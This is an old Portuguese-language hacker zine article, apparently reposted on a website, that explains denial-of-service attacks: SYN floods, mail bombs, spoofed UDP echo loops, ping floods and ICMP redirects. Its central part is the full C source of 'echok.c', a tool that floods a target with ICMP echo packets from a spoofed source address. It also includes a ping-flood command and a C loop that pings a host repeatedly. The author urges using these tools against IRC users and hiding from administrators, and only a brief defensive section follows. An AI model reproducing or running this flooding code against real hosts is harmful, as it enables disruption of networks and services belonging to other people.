Varios zines relataram diversas informacoes a respeito d ataques via floods d syn, chegando ate mesmo a publicar o codigo para tal (oq eu realmente estou sem saco pra fazer). Mas, vai uma explicacao basica:

Como sabemos, o pacote syn faz parte do famoso aperto tripo de mao (3-way handshake) na coneccao d computadores via TCP.. Esse flood e baseado numa coneccao incompleta. Ou seja, o atacante envia centenas de pedidos syn, mas nao responde a nenhum pacote ack. O stack do TCP/IP ira esperar por um certo tempo antes de simplesmente descartara a conecao... o flood funciona pois ira manter o syn_received da makina alvo lotado.

			 A                       B 
---------> SYN
<--------- SYN/ACK
---------> ACK

(2). Floods SMTP

Esse tipo d flood e realmente simples devido ao fato do SMTP ira aceitar qualquer merda que lhe seja enviada. E claro que filtros podem ser usados, mas um mail bomb qualquer pode realmente ser prejudicial a um server.. principalmente se a sua conecao for realmente rapida, e possivel enviar grandes pacotes e deixar o server no chao. :P


(3). Fodendo-se Servicos UDP

E simples fazer-se com q servicos UDP entrem em loop constante devido a um facil IP-spoofing. O efeito classico sera a reducao d performance, a qual faz com que a rede torne-se praticamente inutilizavel. Um exemplo simples seria fazer-se com q o cabecalho tivesse como origem o loopback, e o alvo seria no caso a porta d echo.

Ex:

	Origem-IP = 127.0.0.1 
Alvo-IP = alvos.com.br
Pacote: UDP
da UDP port 7
para UDP port 7

Note no exemplo q o nome alvo.com.br e um DNS, mas o alvo dev sempre ser representado pelo numero do IP Devido a facilidade de execucao desse ataque, varias pessoas recomendam a nao utilizacao d loopback quando-se conectado a uma rede. Ou ao menos usar o echo como TCP ao inves de UDP.


(4). Floods ICMP_ECHO

Esse tipo d ataques e um dos mais comuns, devido ao fato de serem usado principalmente pelos lamers de IRC para killar outros user.. assim, varias pessoas acabam recebendo k-lines e outras coisas..

De qualquer forma, abaixo vai um codigo q exploita esse tipo de DoS.Basicamente o codigo funciona pois os sistemas Unix irao executar um reply de um pedido ICMP continuamente, sem perceber que fazendo isso irao prejudicar o sistema, respondendo a certos pacotes q ele considera simples ICMPs. Agora, adicionando-se um IP spoofer a esse setup, faz com q a coisa fique aida mais interessante pois o computador ira travar enquanto tenta dar um reply a esses ECHOs, ao mesmo tempo que novos ECHOs sao executados pelo sistema... :P

E similar ao ataque UDP na pora d ECHO.

 /* --- Cut here ---------------------------------------------------------- 
*
* echok.c
* ICMP_ECHO Killer
*
* Author: Zakath Credits: LOTSA thanks to crisk
* Don't be fooled. Very little is my orig code.
* [03.13.96]
*/


#define RESOLVE_QUIET
#define IPHDRSIZE sizeof(struct iphdr)
#define ICMPHDRSIZE sizeof(struct icmphdr)

#include <sys/types.h>
#include <sys/socket.h>
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <string.h>
#include <netdb.h>

#include <netinet/ip.h>
#include <netinet/in.h>
#include <netinet/ip_icmp.h>

#define ECHOK_VER "1.4"

/* GENERAL ROUTINES ------------------------------------------- */

void banner(void)
{
printf("\n * ICMP ECHO Killer [v%s] - by Zakath *", ECHOK_VER);
printf("\n * Code based on works by Crisk & Mike Muuss *\n\n");
}

void usage(const char *progname)
{
printf("\nusage:\n ");
printf("%s [-f <-n number>] [-s packet size] [-w wait] <spoof> <dest>\n\n",progname);
printf("\t-f : enable flooding (ping -f)\n");
printf("\t-n <number> : number of pings to send\n");
printf("\t-s <size> : ICMP_ECHO Packet Size [Default is 64]\n");
printf("\t-w <time> : Wait time between packets [Default is 100]\n");
printf("\t<spoof> : address of fake ICMP packet sender\n");
printf("\t<dest> : destination of the flood message\n");
printf("\n");
}

/* OPTION PARSING -------------------------------------------- */

unsigned char *dest_name;
unsigned char *spoof_name = NULL;
struct sockaddr_in destaddr, spoofaddr;
unsigned long dest_addr;
unsigned long spoof_addr;
unsigned pingsize, pingsleep, pingnmbr;
char flood = 0;
int x = 1;

/*
* in_cksum --
* Checksum routine for Internet Protocol family headers (C Version)
*/

unsigned short in_cksum(addr, len)
u_short *addr;
int len;
{
register int nleft = len;
register u_short *w = addr;
register int sum = 0;
u_short answer = 0;

/*
* Our algorithm is simple, using a 32 bit accumulator (sum), we add
* sequential 16 bit words to it, and at the end, fold back all the
* carry bits from the top 16 bits into the lower 16 bits. */

while (nleft > 1) {
sum += *w++;
nleft -= 2;
}

/* mop up an odd byte, if necessary */
if (nleft == 1) {
*(u_char *)(&answer) = *(u_char *)w ;
sum += answer;
}

/* add back carry outs from top 16 bits to low 16 bits */
sum = (sum >> 16) + (sum & 0xffff); /* add hi 16 to low 16 */
sum += (sum >> 16); /* add carry */
answer = ~sum; /* truncate to 16 bits */
return(answer);
}


/* Nice resolve func. by crisk */
int resolve( const char *name, struct sockaddr_in *addr, int port )
{
struct hostent *host;

/* clear everything in case I forget something */
bzero((char *)addr,sizeof(struct sockaddr_in));

if (( host = gethostbyname(name) ) == NULL ) {
#ifndef RESOLVE_QUIET
fprintf(stderr,"unable to resolve host \"%s\" -- ",name);
perror("");
#endif
return -1;
}

addr->sin_family = host->h_addrtype;
memcpy((caddr_t)&addr->sin_addr,host->h_addr,host->h_length);
addr->sin_port = htons(port);

return 0;
}

unsigned long addr_to_ulong(struct sockaddr_in *addr)
{
return addr->sin_addr.s_addr;
}


int resolve_one(const char *name, unsigned long *addr, const char *desc)
{
struct sockaddr_in tempaddr;
if (resolve(name, &tempaddr,0) == -1) {
printf("error: can't resolve the %s.\n",desc);
return -1;
}

*addr = tempaddr.sin_addr.s_addr;
return 0;
}

int resolve_all(const char *dest,
const char *spoof)
{
if (resolve_one(dest,&dest_addr,"dest address")) return -1;
if (spoof!=NULL)
if (resolve_one(spoof,&spoof_addr,"spoof address")) return -1;

spoofaddr.sin_addr.s_addr = spoof_addr;
spoofaddr.sin_family = AF_INET;
destaddr.sin_addr.s_addr = dest_addr;
destaddr.sin_family = AF_INET;
}

void give_info(void)
{
printf("# target address : %s (%s)\n",dest_name,inet_ntoa(dest_addr));
printf("# spoof-from address : %s (%s)\n\n",spoof_name,inet_ntoa(spoof_addr));
if (pingnmbr) printf("# number of packets : %u\n",(pingnmbr));
printf("# icmp echo packet size : %u\n",(pingsize+36));
printf("# wait time between send : %u\n\n", pingsleep);
}

int parse_args(int argc, char *argv[])
{
int opt;

char *endptr;

while ((opt=getopt(argc, argv, "fn:s:w:")) != -1) {
switch(opt) {
case 'f': flood = 1; break;
case 'n': pingnmbr = strtoul(optarg,&endptr,10);
if (*endptr != '\0') {
printf("%s: Invalid Number '%s'.\n", argv[0], optarg);
return -1;
}
break;
case 's': pingsize = strtoul(optarg,&endptr,10);
if (*endptr != '\0') {
printf("%s: Bad Packet Size '%s'\n", argv[0], optarg);
return -1;
}
break;
case 'w': pingsleep = strtoul(optarg,&endptr,10);
if (*endptr != '\0') {
printf("%s: Bad Wait Time '%s'\n", argv[0], optarg);
return -1;
}
break;
case '?':
case ':': return -1; break;
}

}

if (optind > argc-2) {
printf("%s: missing parameters\n",argv[0]);
return -1;
}

if (!pingsize)
pingsize = 28;
else
pingsize = pingsize - 36 ;

if (!pingsleep)
pingsleep = 100;

spoof_name = argv[optind++];
dest_name = argv[optind++];

return 0;
}

/*
* icmp_echo_send()
* builds and sends an ICMP unreachable packet. Since ICMP unreachable packets
* contain the IP header + 64 bits of original datagram, we create a bogus
* IP header and the first 64 bits of a TCP header (ports and syn).
*
*/


inline int icmp_echo_send(int socket,
unsigned long spoof_addr,
unsigned long t_addr,
unsigned pingsize)
{
unsigned char packet[5122];
struct iphdr *ip;
struct icmphdr *icmp;
struct iphdr *origip;
unsigned char *data;

int i;

ip = (struct iphdr *)packet;
icmp = (struct icmphdr *)(packet+IPHDRSIZE);
origip = (struct iphdr *)(packet+IPHDRSIZE+ICMPHDRSIZE);
data = (char *)(packet+pingsize+IPHDRSIZE+IPHDRSIZE+ICMPHDRSIZE);

memset(packet, 0, 5122);

/* ip->saddr = spoof_addr; */
ip->version = 4;
ip->ihl = 5;
ip->ttl = 255-random()%15;
ip->protocol = IPPROTO_ICMP;
ip->tot_len = htons(pingsize + IPHDRSIZE + ICMPHDRSIZE + IPHDRSIZE + 8);

bcopy((char *)&destaddr.sin_addr, &ip->daddr, sizeof(ip->daddr));
bcopy((char *)&spoofaddr.sin_addr, &ip->saddr, sizeof(ip->saddr));

ip->check = in_cksum(packet,IPHDRSIZE);

/* origip->saddr = t_addr; this is the 'original' header. */
origip->version = 4;
origip->ihl = 5;
origip->ttl = ip->ttl - random()%15;
origip->protocol = IPPROTO_TCP;
origip->tot_len = IPHDRSIZE + 30;
origip->id = random()%69;

bcopy((char *)&destaddr.sin_addr, &origip->saddr, sizeof(origip->saddr));

origip->check = in_cksum(origip,IPHDRSIZE);

*((unsigned int *)data) = htons(pingsize);

/* 'original IP header + 64 bits (of bogus TCP header)' made. */

icmp->type = 8; /* should be 3 */
icmp->code = 0;

icmp->checksum = in_cksum(icmp,pingsize+ICMPHDRSIZE+IPHDRSIZE+8);

return sendto(socket,packet,pingsize+IPHDRSIZE+ICMPHDRSIZE+IPHDRSIZE+8,0,
(struct sockaddr *)&destaddr,sizeof(struct sockaddr));

/* ICMP packet is now over the net. */

}

/* MAIN ------------------------------------------------------ */

void main(int argc, char *argv[])
{
int s, i;
int floodloop;

banner();

if (parse_args(argc,argv))
{
usage(argv[0]);
return;
}

resolve_all(dest_name, spoof_name);
give_info();

s = socket(AF_INET, SOCK_RAW, IPPROTO_RAW);

#ifdef IP_HDRINCL
fprintf(stderr,"We have IP_HDRINCL! =] \n\n");
if (setsockopt(s,IPPROTO_IP,IP_HDRINCL,(char*)&x,sizeof(x))<0)
{
perror("setsockopt IP_HDRINCL");
exit(1);
}
#else
fprintf(stderr,"We don't have IP_HDRINCL! =[\n\n");
#endif



if (!flood)
{
if (icmp_echo_send(s,spoof_addr,dest_addr,pingsize) == -1)
{
printf("%s: error sending ping packet\n",argv[0]); perror(""); return;
}
}
else
{
floodloop = 0;
if ( pingnmbr && (pingnmbr > 0) )
{
printf("flooding... packet limit set.\n");
for (i=0;i<pingnmbr;i++)
{
if (icmp_echo_send(s,spoof_addr,dest_addr,pingsize) == -1)
{
printf("%s: error sending packet\n",argv[0]); perror(""); return;
}
usleep((pingsleep*1000));

if (!(floodloop = (floodloop+1)%25))
{ fprintf(stdout,"."); fflush(stdout);
}

}
printf("flooding completed - %u packets sent.\n", pingnmbr);
}
else {
printf("flooding. each dot equals 25 packets.\n");
for (i=0;i<1;i)
{
if (icmp_echo_send(s,spoof_addr,dest_addr,pingsize) == -1)
{
printf("%s: error sending packet\n",argv[0]); perror(""); return;
}
usleep(900);

if (!(floodloop = (floodloop+1)%25))
{ fprintf(stdout,"."); fflush(stdout);
}

}
}

}
}

/* --- Cut here ----------------------------------------------------------

(5). Ping floods

Floods d ping sao muito similares aos de ICMP_ECHO devido ao fato de que ambos enviam centenas de pedidos a q o hosts atacado ira responder sem perceber qye fazendo isso eles simplesmente ameacam travar todo o sistema! Eu acho que um jeito legal de se rodar isso e com um IP spoofer, assim, o computador ira demorar ainda mais tempo para dar um reply a um IP falso, e tambem ira fazer o admin fique dificultado de rastrear sua coneccao Um metodo simples seria algo como:

	ping -s 4000 host &

Em sistemas Linux adicione a opcao -f, q ira fazer os pings serem executados mais rapidamente Algo tambem interessante:

  #include <stdio.h> 
#include <stdlib.h> void main()
{
while(1)
{
system (ping -s 4000 host);
sleep(3);
}
}

Um contador tambem pode ser usado para se prevenir o programa de se rodar indefinidamente. E bom rodar a porra em background pois os ataques desse tipo sao geralmente lentos.


(6). Ataques ICMP

Outro metodo usando-se o ICMP tb pode ser feito... Gatewats comumentemente usam redirecionadores de ICMP para dizer ao sistema para sobre-escrever as tabelas d route, o q informa ao sistema q ele deve encontrar uma roda melhor p/ seus pacotes :P

De forma a confundir um redirecionamento do ICMP, nos devemos saber de uma conecao pre-existente.. se ela for encontrada, pode-se enviar uma rota que ira perder a conectividade, ou pode-se ainda enviar falsas mensagens ao host

Enviando-se mensagens de erro tais como: Destino falho, TTL execedeu, Problemas d parametros, Pacote muito grande, ..

Dessa forma, e possivel resetar a coneccao.

Como se proteger

He He He... isso ja e com vcs, mas uma explicacaozinha e dada: Vc nunca pode ter certeza de q realmente conseguiu impedir definitivamente um ataque DoS, principalmente em termos locais, mas em relacao aos ataques externos, muito pode-se ser feito...

Sempre instale os patches apropriados, note que muitas vezes surgem novas versoes que exigem uma atualizacao constante.Realize um bom port scanning.. (nada d simplesmente verificar o SERVICES!!). Utilize um scanneador. Voce deve fazer isso regularmente d forma a verificar se alguem instalou algum tipo d backdoor remota.. nao qe isso ira impedir backdoors no seu sistema, mas ja ira parar grande parte dos lamers. Desative todos os servicos nao utilizados, ou os quais vc nao use Existem varios DoS possiveis que nao exigem nem que o usuario se logue na makina para pratica-los... so como exemplo, cito o Solaris 2.4, ele tem um limite do numero de mensagens de erro ICMP (+- 1 a cada 500ms), isso pode causar serios problemas... no entanto, vc pode facilmente solucionar esse problema da seguinte forma:

	$ /usr/sbin/ndd -set /dev/ip ip_icmp_err_interval 0

Ja em relacao a ataques locais, basicamente vc pode verificar permissoes d arquivos, ou mesmo ter um bom senso e perceber oqe pode e oqe nao pode ser usado por alguem p/ prejudicar o sistema.

Wiz4rd

← previous
next →
loading
sending ...
New to Neperos ? Sign Up for free
download Neperos App from Google Play
install Neperos as PWA

Let's discover also

Recent Articles

Recent Comments

Neperos cookies
This website uses cookies to store your preferences and improve the service. Cookies authorization will allow me and / or my partners to process personal data such as browsing behaviour.

By pressing OK you agree to the Terms of Service and acknowledge the Privacy Policy

By pressing REJECT you will be able to continue to use Neperos (like read articles or write comments) but some important cookies will not be set. This may affect certain features and functions of the platform.
OK
REJECT